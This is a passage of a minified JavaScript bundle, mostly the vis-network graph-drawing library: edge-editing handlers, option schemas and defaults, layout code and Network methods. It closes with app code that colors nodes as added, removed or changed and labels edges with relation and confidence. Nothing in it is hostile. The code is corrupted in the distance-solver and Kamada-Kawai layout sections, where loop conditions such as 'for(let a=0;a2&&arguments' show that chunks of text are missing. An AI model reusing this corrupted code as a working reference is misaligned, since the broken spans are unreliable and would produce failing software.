o=this.selectionHandler._getAllNodesOverlappingWith(i);let s;for(let l=o.length-1;l>=0;l--){var a;if(Le(a=this.temporaryIds.nodes).call(a,o[l])===-1){s=this.body.nodes[o[l]];break}}this._cleanupTemporaryNodesAndEdges(),s!==void 0&&(s.isCluster===!0?alert(this.options.locales[this.options.locale].createEdgeError||this.options.locales.en.createEdgeError):this.body.nodes[C]!==void 0&&this.body.nodes[s.id]!==void 0&&this._performAddEdge(C,s.id)),e.controlEdge={from:C,to:s?s.id:void 0},this.selectionHandler.generateClickEvent("controlNodeDragEnd",e,t),this.body.emitter.emit("_redraw")}_dragStartEdge(e){const t=this.lastTouch;this.selectionHandler.generateClickEvent("dragStart",e,t,void 0,!0)}_performAddNode(e){const t={id:nC(),x:e.pointer.canvas.x,y:e.pointer.canvas.y,label:"new"};if(typeof this.options.addNode=="function")if(this.options.addNode.length===2)this.options.addNode(t,i=>{i!=null&&this.inMode==="addNode"&&this.body.data.nodes.getDataSet().add(i),this.showManipulatorToolbar()});else throw this.showManipulatorToolbar(),new Error("The function for add does not support two arguments (data,callback)");else this.body.data.nodes.getDataSet().add(t),this.showManipulatorToolbar()}_performAddEdge(e,t){const i={from:e,to:t};if(typeof this.options.addEdge=="function")if(this.options.addEdge.length===2)this.options.addEdge(i,C=>{C!=null&&this.inMode==="addEdge"&&(this.body.data.edges.getDataSet().add(C),this.selectionHandler.unselectAll(),this.showManipulatorToolbar())});else throw new Error("The function for connect does not support two arguments (data,callback)");else this.body.data.edges.getDataSet().add(i),this.selectionHandler.unselectAll(),this.showManipulatorToolbar()}_performEditEdge(e,t){const i={id:this.edgeBeingEditedId,from:e,to:t,label:this.body.data.edges.get(this.edgeBeingEditedId).label};let C=this.options.editEdge;if(typeof C=="object"&&(C=C.editWithoutDrag),typeof C=="function")if(C.length===2)C(i,o=>{o==null||this.inMode!=="editEdge"?(this.body.edges[i.id].updateEdgeType(),this.body.emitter.emit("_redraw"),this.showManipulatorToolbar()):(this.body.data.edges.getDataSet().update(o),this.selectionHandler.unselectAll(),this.showManipulatorToolbar())});else throw new Error("The function for edit does not support two arguments (data, callback)");else this.body.data.edges.getDataSet().update(i),this.selectionHandler.unselectAll(),this.showManipulatorToolbar()}}const W="string",X="boolean",P="number",JI="array",Ie="object",_w="dom",WK="any",Tu=["arrow","bar","box","circle","crow","curve","diamond","image","inv_curve","inv_triangle","triangle","vee"],Su={borderWidth:{number:P},borderWidthSelected:{number:P,undefined:"undefined"},brokenImage:{string:W,undefined:"undefined"},chosen:{label:{boolean:X,function:"function"},node:{boolean:X,function:"function"},__type__:{object:Ie,boolean:X}},color:{border:{string:W},background:{string:W},highlight:{border:{string:W},background:{string:W},__type__:{object:Ie,string:W}},hover:{border:{string:W},background:{string:W},__type__:{object:Ie,string:W}},__type__:{object:Ie,string:W}},opacity:{number:P,undefined:"undefined"},fixed:{x:{boolean:X},y:{boolean:X},__type__:{object:Ie,boolean:X}},font:{align:{string:W},color:{string:W},size:{number:P},face:{string:W},background:{string:W},strokeWidth:{number:P},strokeColor:{string:W},vadjust:{number:P},multi:{boolean:X,string:W},bold:{color:{string:W},size:{number:P},face:{string:W},mod:{string:W},vadjust:{number:P},__type__:{object:Ie,string:W}},boldital:{color:{string:W},size:{number:P},face:{string:W},mod:{string:W},vadjust:{number:P},__type__:{object:Ie,string:W}},ital:{color:{string:W},size:{number:P},face:{string:W},mod:{string:W},vadjust:{number:P},__type__:{object:Ie,string:W}},mono:{color:{string:W},size:{number:P},face:{string:W},mod:{string:W},vadjust:{number:P},__type__:{object:Ie,string:W}},__type__:{object:Ie,string:W}},group:{string:W,number:P,undefined:"undefined"},heightConstraint:{minimum:{number:P},valign:{string:W},__type__:{object:Ie,boolean:X,number:P}},hidden:{boolean:X},icon:{face:{string:W},code:{string:W},size:{number:P},color:{string:W},weight:{string:W,number:P},__type__:{object:Ie}},id:{string:W,number:P},image:{selected:{string:W,undefined:"undefined"},unselected:{string:W,undefined:"undefined"},__type__:{object:Ie,string:W}},imagePadding:{top:{number:P},right:{number:P},bottom:{number:P},left:{number:P},__type__:{object:Ie,number:P}},label:{string:W,undefined:"undefined"},labelHighlightBold:{boolean:X},level:{number:P,undefined:"undefined"},margin:{top:{number:P},right:{number:P},bottom:{number:P},left:{number:P},__type__:{object:Ie,number:P}},mass:{number:P},physics:{boolean:X},scaling:{min:{number:P},max:{number:P},label:{enabled:{boolean:X},min:{number:P},max:{number:P},maxVisible:{number:P},drawThreshold:{number:P},__type__:{object:Ie,boolean:X}},customScalingFunction:{function:"function"},__type__:{object:Ie}},shadow:{enabled:{boolean:X},color:{string:W},size:{number:P},x:{number:P},y:{number:P},__type__:{object:Ie,boolean:X}},shape:{string:["custom","ellipse","circle","database","box","text","image","circularImage","diamond","dot","star","triangle","triangleDown","square","icon","hexagon"]},ctxRenderer:{function:"function"},shapeProperties:{borderDashes:{boolean:X,array:JI},borderRadius:{number:P},interpolation:{boolean:X},useImageSize:{boolean:X},useBorderWithImage:{boolean:X},coordinateOrigin:{string:["center","top-left"]},__type__:{object:Ie}},size:{number:P},title:{string:W,dom:_w,undefined:"undefined"},value:{number:P,undefined:"undefined"},widthConstraint:{minimum:{number:P},maximum:{number:P},__type__:{object:Ie,boolean:X,number:P}},x:{number:P},y:{number:P},__type__:{object:Ie}},qK={configure:{enabled:{boolean:X},filter:{boolean:X,string:W,array:JI,function:"function"},container:{dom:_w},showButton:{boolean:X},__type__:{object:Ie,boolean:X,string:W,array:JI,function:"function"}},edges:{arrows:{to:{enabled:{boolean:X},scaleFactor:{number:P},type:{string:Tu},imageHeight:{number:P},imageWidth:{number:P},src:{string:W},__type__:{object:Ie,boolean:X}},middle:{enabled:{boolean:X},scaleFactor:{number:P},type:{string:Tu},imageWidth:{number:P},imageHeight:{number:P},src:{string:W},__type__:{object:Ie,boolean:X}},from:{enabled:{boolean:X},scaleFactor:{number:P},type:{string:Tu},imageWidth:{number:P},imageHeight:{number:P},src:{string:W},__type__:{object:Ie,boolean:X}},__type__:{string:["from","to","middle"],object:Ie}},endPointOffset:{from:{number:P},to:{number:P},__type__:{object:Ie,number:P}},arrowStrikethrough:{boolean:X},background:{enabled:{boolean:X},color:{string:W},size:{number:P},dashes:{boolean:X,array:JI},__type__:{object:Ie,boolean:X}},chosen:{label:{boolean:X,function:"function"},edge:{boolean:X,function:"function"},__type__:{object:Ie,boolean:X}},color:{color:{string:W},highlight:{string:W},hover:{string:W},inherit:{string:["from","to","both"],boolean:X},opacity:{number:P},__type__:{object:Ie,string:W}},dashes:{boolean:X,array:JI},font:{color:{string:W},size:{number:P},face:{string:W},background:{string:W},strokeWidth:{number:P},strokeColor:{string:W},align:{string:["horizontal","top","middle","bottom"]},vadjust:{number:P},multi:{boolean:X,string:W},bold:{color:{string:W},size:{number:P},face:{string:W},mod:{string:W},vadjust:{number:P},__type__:{object:Ie,string:W}},boldital:{color:{string:W},size:{number:P},face:{string:W},mod:{string:W},vadjust:{number:P},__type__:{object:Ie,string:W}},ital:{color:{string:W},size:{number:P},face:{string:W},mod:{string:W},vadjust:{number:P},__type__:{object:Ie,string:W}},mono:{color:{string:W},size:{number:P},face:{string:W},mod:{string:W},vadjust:{number:P},__type__:{object:Ie,string:W}},__type__:{object:Ie,string:W}},hidden:{boolean:X},hoverWidth:{function:"function",number:P},label:{string:W,undefined:"undefined"},labelHighlightBold:{boolean:X},length:{number:P,undefined:"undefined"},physics:{boolean:X},scaling:{min:{number:P},max:{number:P},label:{enabled:{boolean:X},min:{number:P},max:{number:P},maxVisible:{number:P},drawThreshold:{number:P},__type__:{object:Ie,boolean:X}},customScalingFunction:{function:"function"},__type__:{object:Ie}},selectionWidth:{function:"function",number:P},selfReferenceSize:{number:P},selfReference:{size:{number:P},angle:{number:P},renderBehindTheNode:{boolean:X},__type__:{object:Ie}},shadow:{enabled:{boolean:X},color:{string:W},size:{number:P},x:{number:P},y:{number:P},__type__:{object:Ie,boolean:X}},smooth:{enabled:{boolean:X},type:{string:["dynamic","continuous","discrete","diagonalCross","straightCross","horizontal","vertical","curvedCW","curvedCCW","cubicBezier"]},roundness:{number:P},forceDirection:{string:["horizontal","vertical","none"],boolean:X},__type__:{object:Ie,boolean:X}},title:{string:W,undefined:"undefined"},width:{number:P},widthConstraint:{maximum:{number:P},__type__:{object:Ie,boolean:X,number:P}},value:{number:P,undefined:"undefined"},__type__:{object:Ie}},groups:{useDefaultGroups:{boolean:X},__any__:Su,__type__:{object:Ie}},interaction:{dragNodes:{boolean:X},dragView:{boolean:X},hideEdgesOnDrag:{boolean:X},hideEdgesOnZoom:{boolean:X},hideNodesOnDrag:{boolean:X},hover:{boolean:X},keyboard:{enabled:{boolean:X},speed:{x:{number:P},y:{number:P},zoom:{number:P},__type__:{object:Ie}},bindToWindow:{boolean:X},autoFocus:{boolean:X},__type__:{object:Ie,boolean:X}},multiselect:{boolean:X},navigationButtons:{boolean:X},selectable:{boolean:X},selectConnectedEdges:{boolean:X},hoverConnectedEdges:{boolean:X},tooltipDelay:{number:P},zoomView:{boolean:X},zoomSpeed:{number:P},__type__:{object:Ie}},layout:{randomSeed:{undefined:"undefined",number:P,string:W},improvedLayout:{boolean:X},clusterThreshold:{number:P},hierarchical:{enabled:{boolean:X},levelSeparation:{number:P},nodeSpacing:{number:P},treeSpacing:{number:P},blockShifting:{boolean:X},edgeMinimization:{boolean:X},parentCentralization:{boolean:X},direction:{string:["UD","DU","LR","RL"]},sortMethod:{string:["hubsize","directed"]},shakeTowards:{string:["leaves","roots"]},__type__:{object:Ie,boolean:X}},__type__:{object:Ie}},manipulation:{enabled:{boolean:X},initiallyActive:{boolean:X},addNode:{boolean:X,function:"function"},addEdge:{boolean:X,function:"function"},editNode:{function:"function"},editEdge:{editWithoutDrag:{function:"function"},__type__:{object:Ie,boolean:X,function:"function"}},deleteNode:{boolean:X,function:"function"},deleteEdge:{boolean:X,function:"function"},controlNodeStyle:Su,__type__:{object:Ie,boolean:X}},nodes:Su,physics:{enabled:{boolean:X},barnesHut:{theta:{number:P},gravitationalConstant:{number:P},centralGravity:{number:P},springLength:{number:P},springConstant:{number:P},damping:{number:P},avoidOverlap:{number:P},__type__:{object:Ie}},forceAtlas2Based:{theta:{number:P},gravitationalConstant:{number:P},centralGravity:{number:P},springLength:{number:P},springConstant:{number:P},damping:{number:P},avoidOverlap:{number:P},__type__:{object:Ie}},repulsion:{centralGravity:{number:P},springLength:{number:P},springConstant:{number:P},nodeDistance:{number:P},damping:{number:P},__type__:{object:Ie}},hierarchicalRepulsion:{centralGravity:{number:P},springLength:{number:P},springConstant:{number:P},nodeDistance:{number:P},damping:{number:P},avoidOverlap:{number:P},__type__:{object:Ie}},maxVelocity:{number:P},minVelocity:{number:P},solver:{string:["barnesHut","repulsion","hierarchicalRepulsion","forceAtlas2Based"]},stabilization:{enabled:{boolean:X},iterations:{number:P},updateInterval:{number:P},onlyDynamicEdges:{boolean:X},fit:{boolean:X},__type__:{object:Ie,boolean:X}},timestep:{number:P},adaptiveTimestep:{boolean:X},wind:{x:{number:P},y:{number:P},__type__:{object:Ie}},__type__:{object:Ie,boolean:X}},autoResize:{boolean:X},clickToUse:{boolean:X},locale:{string:W},locales:{__any__:{any:WK},__type__:{object:Ie}},height:{string:W},width:{string:W},__type__:{object:Ie}},kw={nodes:{borderWidth:[1,0,10,1],borderWidthSelected:[2,0,10,1],color:{border:["color","#2B7CE9"],background:["color","#97C2FC"],highlight:{border:["color","#2B7CE9"],background:["color","#D2E5FF"]},hover:{border:["color","#2B7CE9"],background:["color","#D2E5FF"]}},opacity:[0,0,1,.1],fixed:{x:!1,y:!1},font:{color:["color","#343434"],size:[14,0,100,1],face:["arial","verdana","tahoma"],background:["color","none"],strokeWidth:[0,0,50,1],strokeColor:["color","#ffffff"]},hidden:!1,labelHighlightBold:!0,physics:!0,scaling:{min:[10,0,200,1],max:[30,0,200,1],label:{enabled:!1,min:[14,0,200,1],max:[30,0,200,1],maxVisible:[30,0,200,1],drawThreshold:[5,0,20,1]}},shadow:{enabled:!1,color:"rgba(0,0,0,0.5)",size:[10,0,20,1],x:[5,-30,30,1],y:[5,-30,30,1]},shape:["ellipse","box","circle","database","diamond","dot","square","star","text","triangle","triangleDown","hexagon"],shapeProperties:{borderDashes:!1,borderRadius:[6,0,20,1],interpolation:!0,useImageSize:!1},size:[25,0,200,1]},edges:{arrows:{to:{enabled:!1,scaleFactor:[1,0,3,.05],type:"arrow"},middle:{enabled:!1,scaleFactor:[1,0,3,.05],type:"arrow"},from:{enabled:!1,scaleFactor:[1,0,3,.05],type:"arrow"}},endPointOffset:{from:[0,-10,10,1],to:[0,-10,10,1]},arrowStrikethrough:!0,color:{color:["color","#848484"],highlight:["color","#848484"],hover:["color","#848484"],inherit:["from","to","both",!0,!1],opacity:[1,0,1,.05]},dashes:!1,font:{color:["color","#343434"],size:[14,0,100,1],face:["arial","verdana","tahoma"],background:["color","none"],strokeWidth:[2,0,50,1],strokeColor:["color","#ffffff"],align:["horizontal","top","middle","bottom"]},hidden:!1,hoverWidth:[1.5,0,5,.1],labelHighlightBold:!0,physics:!0,scaling:{min:[1,0,100,1],max:[15,0,100,1],label:{enabled:!0,min:[14,0,200,1],max:[30,0,200,1],maxVisible:[30,0,200,1],drawThreshold:[5,0,20,1]}},selectionWidth:[1.5,0,5,.1],selfReferenceSize:[20,0,200,1],selfReference:{size:[20,0,200,1],angle:[Math.PI/2,-6*Math.PI,6*Math.PI,Math.PI/8],renderBehindTheNode:!0},shadow:{enabled:!1,color:"rgba(0,0,0,0.5)",size:[10,0,20,1],x:[5,-30,30,1],y:[5,-30,30,1]},smooth:{enabled:!0,type:["dynamic","continuous","discrete","diagonalCross","straightCross","horizontal","vertical","curvedCW","curvedCCW","cubicBezier"],forceDirection:["horizontal","vertical","none"],roundness:[.5,0,1,.05]},width:[1,0,30,1]},layout:{hierarchical:{enabled:!1,levelSeparation:[150,20,500,5],nodeSpacing:[100,20,500,5],treeSpacing:[200,20,500,5],blockShifting:!0,edgeMinimization:!0,parentCentralization:!0,direction:["UD","DU","LR","RL"],sortMethod:["hubsize","directed"],shakeTowards:["leaves","roots"]}},interaction:{dragNodes:!0,dragView:!0,hideEdgesOnDrag:!1,hideEdgesOnZoom:!1,hideNodesOnDrag:!1,hover:!1,keyboard:{enabled:!1,speed:{x:[10,0,40,1],y:[10,0,40,1],zoom:[.02,0,.1,.005]},bindToWindow:!0,autoFocus:!0},multiselect:!1,navigationButtons:!1,selectable:!0,selectConnectedEdges:!0,hoverConnectedEdges:!0,tooltipDelay:[300,0,1e3,25],zoomView:!0,zoomSpeed:[1,.1,2,.1]},manipulation:{enabled:!1,initiallyActive:!1},physics:{enabled:!0,barnesHut:{theta:[.5,.1,1,.05],gravitationalConstant:[-2e3,-3e4,0,50],centralGravity:[.3,0,10,.05],springLength:[95,0,500,5],springConstant:[.04,0,1.2,.005],damping:[.09,0,1,.01],avoidOverlap:[0,0,1,.01]},forceAtlas2Based:{theta:[.5,.1,1,.05],gravitationalConstant:[-50,-500,0,1],centralGravity:[.01,0,1,.005],springLength:[95,0,500,5],springConstant:[.08,0,1.2,.005],damping:[.4,0,1,.01],avoidOverlap:[0,0,1,.01]},repulsion:{centralGravity:[.2,0,10,.05],springLength:[200,0,500,5],springConstant:[.05,0,1.2,.005],nodeDistance:[100,0,500,5],damping:[.09,0,1,.01]},hierarchicalRepulsion:{centralGravity:[.2,0,10,.05],springLength:[100,0,500,5],springConstant:[.01,0,1.2,.005],nodeDistance:[120,0,500,5],damping:[.09,0,1,.01],avoidOverlap:[0,0,1,.01]},maxVelocity:[50,0,150,1],minVelocity:[.1,.01,.5,.01],solver:["barnesHut","forceAtlas2Based","repulsion","hierarchicalRepulsion"],timestep:[.5,.01,1,.01],wind:{x:[0,-10,10,.1],y:[0,-10,10,.1]}}},JK=(n,e,t)=>{var i;return!!(Ji(n).call(n,"physics")&&Ji(i=kw.physics.solver).call(i,e)&&t.physics.solver!==e&&e!=="wind")};class $K{constructor(){}getDistances(e,t,i){const C={},o=e.edges;for(let a=0;a2&&arguments[2]!==void 0?arguments[2]:!1;const C=this.distanceSolver.getDistances(this.body,e,t);this._createL_matrix(C),this._createK_matrix(C),this._createE_matrix();const o=.01,s=1;let a=0;const l=Math.max(1e3,Math.min(10*this.body.nodeIndices.length,6e3)),u=5;let h=1e9,p=0,m=0,v=0,w=0,D=0;for(;h>o&&as&&Dthis.body.emitter.emit("_requestRedraw")),this.groups=new Z9,this.canvas=new Q7(this.body),this.selectionHandler=new xK(this.body,this.canvas),this.interactionHandler=new $7(this.body,this.canvas,this.selectionHandler),this.view=new W7(this.body,this.canvas),this.renderer=new V7(this.body,this.canvas),this.physics=new L7(this.body),this.layoutEngine=new KK(this.body),this.clustering=new F7(this.body),this.manipulation=new XK(this.body,this.canvas,this.selectionHandler,this.interactionHandler),this.nodesHandler=new r7(this.body,this.images,this.groups,this.layoutEngine),this.edgesHandler=new _7(this.body,this.images,this.groups),this.body.modules.kamadaKawai=new eQ(this.body,150,.05),this.body.modules.clustering=this.clustering,this.canvas._create(),this.setOptions(t),this.setData(e)}vm(ge.prototype),ge.prototype.setOptions=function(n){if(n===null&&(n=void 0),n!==void 0){if(O6.validate(n,qK)===!0&&console.error("%cErrors have been found in the supplied options object.",yb),JA(["locale","locales","clickToUse"],this.options,n),n.locale!==void 0&&(n.locale=L6(n.locales||this.options.locales,n.locale)),n=this.layoutEngine.setOptions(n.layout,n),this.canvas.setOptions(n),this.groups.setOptions(n.groups),this.nodesHandler.setOptions(n.nodes),this.edgesHandler.setOptions(n.edges),this.physics.setOptions(n.physics),this.manipulation.setOptions(n.manipulation,n,this.options),this.interactionHandler.setOptions(n.interaction),this.renderer.setOptions(n.interaction),this.selectionHandler.setOptions(n.interaction),n.groups!==void 0&&this.body.emitter.emit("refreshNodes"),"configure"in n&&(this.configurator||(this.configurator=new T6(this,this.body.container,kw,this.canvas.pixelRatio,JK)),this.configurator.setOptions(n.configure)),this.configurator&&this.configurator.options.enabled===!0){const i={nodes:{},edges:{},layout:{},interaction:{},manipulation:{},physics:{},global:{}};Xe(i.nodes,this.nodesHandler.options),Xe(i.edges,this.edgesHandler.options),Xe(i.layout,this.layoutEngine.options),Xe(i.interaction,this.selectionHandler.options),Xe(i.interaction,this.renderer.options),Xe(i.interaction,this.interactionHandler.options),Xe(i.manipulation,this.manipulation.options),Xe(i.physics,this.physics.options),Xe(i.global,this.canvas.options),Xe(i.global,this.options),this.configurator.setModuleOptions(i)}n.clickToUse!==void 0?n.clickToUse===!0?this.activator===void 0&&(this.activator=new E6(this.canvas.frame),this.activator.on("change",()=>{this.body.emitter.emit("activate")})):(this.activator!==void 0&&(this.activator.destroy(),delete this.activator),this.body.emitter.emit("activate")):this.body.emitter.emit("activate"),this.canvas.setSize(),this.body.emitter.emit("startSimulation")}},ge.prototype._updateVisibleIndices=function(){const n=this.body.nodes,e=this.body.edges;this.body.nodeIndices=[],this.body.edgeIndices=[];for(const t in n)Object.prototype.hasOwnProperty.call(n,t)&&!this.clustering._isClusteredNode(t)&&n[t].options.hidden===!1&&this.body.nodeIndices.push(n[t].id);for(const t in e)if(Object.prototype.hasOwnProperty.call(e,t)){const i=e[t],C=n[i.fromId],o=n[i.toId],s=C!==void 0&&o!==void 0;!this.clustering._isClusteredEdge(t)&&i.options.hidden===!1&&s&&C.options.hidden===!1&&o.options.hidden===!1&&this.body.edgeIndices.push(i.id)}},ge.prototype.bindEventListeners=function(){this.body.emitter.on("_dataChanged",()=>{this.edgesHandler._updateState(),this.body.emitter.emit("_dataUpdated")}),this.body.emitter.on("_dataUpdated",()=>{this.clustering._updateState(),this._updateVisibleIndices(),this._updateValueRange(this.body.nodes),this._updateValueRange(this.body.edges),this.body.emitter.emit("startSimulation"),this.body.emitter.emit("_requestRedraw")})},ge.prototype.setData=function(n){if(this.body.emitter.emit("resetPhysics"),this.body.emitter.emit("_resetData"),this.selectionHandler.unselectAll(),n&&n.dot&&(n.nodes||n.edges))throw new SyntaxError('Data must contain either parameter "dot" or parameter pair "nodes" and "edges", but not both.');if(this.setOptions(n&&n.options),n&&n.dot){console.warn("The dot property has been deprecated. Please use the static convertDot method to convert DOT into vis.network format and use the normal data format with nodes and edges. This converter is used like this: var data = vis.network.convertDot(dotString);");const e=B6(n.dot);this.setData(e);return}else if(n&&n.gephi){console.warn("The gephi property has been deprecated. Please use the static convertGephi method to convert gephi into vis.network format and use the normal data format with nodes and edges. This converter is used like this: var data = vis.network.convertGephi(gephiJson);");const e=P6(n.gephi);this.setData(e);return}else this.nodesHandler.setData(n&&n.nodes,!0),this.edgesHandler.setData(n&&n.edges,!0);this.body.emitter.emit("_dataChanged"),this.body.emitter.emit("_dataLoaded"),this.body.emitter.emit("initPhysics")},ge.prototype.destroy=function(){this.body.emitter.emit("destroy"),this.body.emitter.off(),this.off(),delete this.groups,delete this.canvas,delete this.selectionHandler,delete this.interactionHandler,delete this.view,delete this.renderer,delete this.physics,delete this.layoutEngine,delete this.clustering,delete this.manipulation,delete this.nodesHandler,delete this.edgesHandler,delete this.configurator,delete this.images;for(const n in this.body.nodes)Object.prototype.hasOwnProperty.call(this.body.nodes,n)&&delete this.body.nodes[n];for(const n in this.body.edges)Object.prototype.hasOwnProperty.call(this.body.edges,n)&&delete this.body.edges[n];tn(this.body.container)},ge.prototype._updateValueRange=function(n){let e,t,i,C=0;for(e in n)if(Object.prototype.hasOwnProperty.call(n,e)){const o=n[e].getValue();o!==void 0&&(t=t===void 0?o:Math.min(o,t),i=i===void 0?o:Math.max(o,i),C+=o)}if(t!==void 0&&i!==void 0)for(e in n)Object.prototype.hasOwnProperty.call(n,e)&&n[e].setValueRange(t,i,C)},ge.prototype.isActive=function(){return!this.activator||this.activator.active},ge.prototype.setSize=function(){return this.canvas.setSize.apply(this.canvas,arguments)},ge.prototype.canvasToDOM=function(){return this.canvas.canvasToDOM.apply(this.canvas,arguments)},ge.prototype.DOMtoCanvas=function(){return this.canvas.DOMtoCanvas.apply(this.canvas,arguments)},ge.prototype.findNode=function(){return this.clustering.findNode.apply(this.clustering,arguments)},ge.prototype.isCluster=function(){return this.clustering.isCluster.apply(this.clustering,arguments)},ge.prototype.openCluster=function(){return this.clustering.openCluster.apply(this.clustering,arguments)},ge.prototype.cluster=function(){return this.clustering.cluster.apply(this.clustering,arguments)},ge.prototype.getNodesInCluster=function(){return this.clustering.getNodesInCluster.apply(this.clustering,arguments)},ge.prototype.clusterByConnection=function(){return this.clustering.clusterByConnection.apply(this.clustering,arguments)},ge.prototype.clusterByHubsize=function(){return this.clustering.clusterByHubsize.apply(this.clustering,arguments)},ge.prototype.updateClusteredNode=function(){return this.clustering.updateClusteredNode.apply(this.clustering,arguments)},ge.prototype.getClusteredEdges=function(){return this.clustering.getClusteredEdges.apply(this.clustering,arguments)},ge.prototype.getBaseEdge=function(){return this.clustering.getBaseEdge.apply(this.clustering,arguments)},ge.prototype.getBaseEdges=function(){return this.clustering.getBaseEdges.apply(this.clustering,arguments)},ge.prototype.updateEdge=function(){return this.clustering.updateEdge.apply(this.clustering,arguments)},ge.prototype.clusterOutliers=function(){return this.clustering.clusterOutliers.apply(this.clustering,arguments)},ge.prototype.getSeed=function(){return this.layoutEngine.getSeed.apply(this.layoutEngine,arguments)},ge.prototype.enableEditMode=function(){return this.manipulation.enableEditMode.apply(this.manipulation,arguments)},ge.prototype.disableEditMode=function(){return this.manipulation.disableEditMode.apply(this.manipulation,arguments)},ge.prototype.addNodeMode=function(){return this.manipulation.addNodeMode.apply(this.manipulation,arguments)},ge.prototype.editNode=function(){return this.manipulation.editNode.apply(this.manipulation,arguments)},ge.prototype.editNodeMode=function(){return console.warn("Deprecated: Please use editNode instead of editNodeMode."),this.manipulation.editNode.apply(this.manipulation,arguments)},ge.prototype.addEdgeMode=function(){return this.manipulation.addEdgeMode.apply(this.manipulation,arguments)},ge.prototype.editEdgeMode=function(){return this.manipulation.editEdgeMode.apply(this.manipulation,arguments)},ge.prototype.deleteSelected=function(){return this.manipulation.deleteSelected.apply(this.manipulation,arguments)},ge.prototype.getPositions=function(){return this.nodesHandler.getPositions.apply(this.nodesHandler,arguments)},ge.prototype.getPosition=function(){return this.nodesHandler.getPosition.apply(this.nodesHandler,arguments)},ge.prototype.storePositions=function(){return this.nodesHandler.storePositions.apply(this.nodesHandler,arguments)},ge.prototype.moveNode=function(){return this.nodesHandler.moveNode.apply(this.nodesHandler,arguments)},ge.prototype.getBoundingBox=function(){return this.nodesHandler.getBoundingBox.apply(this.nodesHandler,arguments)},ge.prototype.getConnectedNodes=function(n){return this.body.nodes[n]!==void 0?this.nodesHandler.getConnectedNodes.apply(this.nodesHandler,arguments):this.edgesHandler.getConnectedNodes.apply(this.edgesHandler,arguments)},ge.prototype.getConnectedEdges=function(){return this.nodesHandler.getConnectedEdges.apply(this.nodesHandler,arguments)},ge.prototype.startSimulation=function(){return this.physics.startSimulation.apply(this.physics,arguments)},ge.prototype.stopSimulation=function(){return this.physics.stopSimulation.apply(this.physics,arguments)},ge.prototype.stabilize=function(){return this.physics.stabilize.apply(this.physics,arguments)},ge.prototype.getSelection=function(){return this.selectionHandler.getSelection.apply(this.selectionHandler,arguments)},ge.prototype.setSelection=function(){return this.selectionHandler.setSelection.apply(this.selectionHandler,arguments)},ge.prototype.getSelectedNodes=function(){return this.selectionHandler.getSelectedNodeIds.apply(this.selectionHandler,arguments)},ge.prototype.getSelectedEdges=function(){return this.selectionHandler.getSelectedEdgeIds.apply(this.selectionHandler,arguments)},ge.prototype.getNodeAt=function(){const n=this.selectionHandler.getNodeAt.apply(this.selectionHandler,arguments);return n!==void 0&&n.id!==void 0?n.id:n},ge.prototype.getEdgeAt=function(){const n=this.selectionHandler.getEdgeAt.apply(this.selectionHandler,arguments);return n!==void 0&&n.id!==void 0?n.id:n},ge.prototype.selectNodes=function(){return this.selectionHandler.selectNodes.apply(this.selectionHandler,arguments)},ge.prototype.selectEdges=function(){return this.selectionHandler.selectEdges.apply(this.selectionHandler,arguments)},ge.prototype.unselectAll=function(){this.selectionHandler.unselectAll.apply(this.selectionHandler,arguments),this.selectionHandler.commitWithoutEmitting.apply(this.selectionHandler),this.redraw()},ge.prototype.redraw=function(){return this.renderer.redraw.apply(this.renderer,arguments)},ge.prototype.getScale=function(){return this.view.getScale.apply(this.view,arguments)},ge.prototype.getViewPosition=function(){return this.view.getViewPosition.apply(this.view,arguments)},ge.prototype.fit=function(){return this.view.fit.apply(this.view,arguments)},ge.prototype.moveTo=function(){return this.view.moveTo.apply(this.view,arguments)},ge.prototype.focus=function(){return this.view.focus.apply(this.view,arguments)},ge.prototype.releaseNode=function(){return this.view.releaseNode.apply(this.view,arguments)},ge.prototype.getOptionsFromConfigurator=function(){let n={};return this.configurator&&(n=this.configurator.getOptions.apply(this.configurator)),n};function Zw(n){const e=n.relation.trim(),t=n.confidence?.trim().toLocaleUpperCase();return e&&t?`${e} [${t}]`:e||(t?`[${t}]`:"")}function tQ(n,e){return e.hoveredEdgeId===n.id}function gQ(n,e){n.on("click",t=>{e.onHover(null),t.edges.length===0&&e.onBlurEdge();const i=t.nodes[0];i!==void 0?e.onFocus(String(i)):e.onClear()}),n.on("doubleClick",t=>{const i=t.nodes[0];i!==void 0&&e.onOpenSource(String(i))}),n.on("hoverNode",t=>{t.node!==void 0&&e.onHover({nodeId:String(t.node),x:t.pointer.DOM.x,y:t.pointer.DOM.y})}),n.on("blurNode",()=>e.onHover(null)),n.on("hoverEdge",t=>{t.edge!==void 0&&e.onHoverEdge(String(t.edge))}),n.on("blurEdge",()=>e.onBlurEdge()),n.on("dragStart",()=>{e.onHover(null),e.onBlurEdge()}),n.on("zoom",()=>{e.onHover(null),e.onBlurEdge()})}const Bw={added:{background:"#163d24",border:"#56d364"},removed:{background:"#4b1f24",border:"#ff7b72"},changed:{background:"#3d3015",border:"#d7a72b"},unchanged:{background:"#29313b",border:"#8b949e"}},iQ={autoResize:!0,interaction:{hover:!0,tooltipDelay:100,hideEdgesOnDrag:!0,navigationButtons:!1,keyboard:{enabled:!0}},layout:{improvedLayout:!0},nodes:{borderWidth:1.5,shape:"dot"},edges:{arrows:{to:{enabled:!0,scaleFactor:.5}},smooth:{enabled:!0,type:"continuous",roundness:.2},selectionWidth:3},physics:{enabled:!0,solver:"forceAtlas2Based",stabilization:{enabled:!0,iterations:200,fit:!0,updateInterval:20},forceAtlas2Based:{gravitationalConstant:-60,centralGravity:.005,springLength:120,springConstant:.08,damping:.4,avoidOverlap:.8}}},nQ={autoResize:!0,interaction:{hover:!0,tooltipDelay:100,hideEdgesOnDrag:!0,navigationButtons:!1,keyboard:{enabled:!0}},layout:{improvedLayout:!0,randomSeed:17},nodes:{borderWidth:2,shape:"dot"},edges:{arrows:{to:{enabled:!0,scaleFactor:.38}},smooth:{enabled:!0,type:"continuous",roundness:.14},selectionWidth:3},physics:{enabled:!0,solver:"barnesHut",stabilization:{enabled:!0,iterations:520,fit:!0,updateInterval:25},maxVelocity:35,minVelocity:.55,barnesHut:{theta:.45,gravitationalConstant:-12e3,centralGravity:.12,springLength:180,springConstant:.025,damping:.3,avoidOverlap:.85}}};function Pw(n,e,t,i){const C=e.change&&i?i[e.change]:void 0,o=C?C.background:e.color?.background??n.communities.find(s=>s.id===e.community)?.color??"#6688aa";return{background:o,border:t??C?.border??e.color?.border??o}}function Jg(n,e){return typeof window>"u"?e:getComputedStyle(document.documentElement).getPropertyValue(n).trim()||e}function AQ(n){return n==="extracted"?{dashes:!1,width:2,opacity:.7}:n==="ambiguous"?{dashes:[3,4],width:2,opacity:.62}:{dashes:!0,width:1,opacity:.35}}function 